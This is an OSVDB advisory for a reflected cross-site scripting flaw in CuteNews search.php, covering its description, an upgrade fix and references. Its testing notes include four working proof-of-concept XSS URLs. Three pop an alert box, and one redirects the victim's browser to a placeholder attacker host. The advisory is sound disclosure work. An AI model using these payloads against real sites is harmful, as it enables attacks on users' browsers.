CuteNews search.php Multiple Variable XSS

2006-05-04T06:47:39
ID OSVDB:25304
Type osvdb
Reporter k4p0(k4p0k4p0@hotmail.com)
Modified 2006-05-04T06:47:39

Description

Vulnerability Description

CuteNews contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'story', 'title', and 'user' variables upon submission to the search.php script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Technical Description

This vulnerability is only present when the magic_quotes_gpc PHP option is 'off'.

Solution Description

Upgrade to version 1.4.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

CuteNews contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'story', 'title', and 'user' variables upon submission to the search.php script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Manual Testing Notes

/search.php?dosearch=yes&story=%22%3E%3Cscript%3Ealert%28%22NST+PoC+by+K4P0%22%29%3B%3C%2Fscript%3E&title=&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

/search.php?dosearch=yes&title=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22);%3C/script%3E&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day =&to_date_month=&to_date_year=

/search.php?dosearch=yes&story=K4P0&user=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22);%3C/script%3E&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

/search.php?dosearch=yes&title="><script>window.location='http://[attacker]/';</script>user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

References:

Vendor URL: http://www.cutephp.com/ Secunia Advisory ID:20026 Related OSVDB ID: 25305 Related OSVDB ID: 25306 Other Advisory URL: http://neosecurityteam.net/index.php?action=advisories&id=21 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0091.html Keyword: [N]eo [S]ecurity [T]eam [NST]® Advisory #20 ISS X-Force ID: 26270 FrSIRT Advisory: ADV-2006-1683 CVE-2006-2249 Bugtraq ID: 17850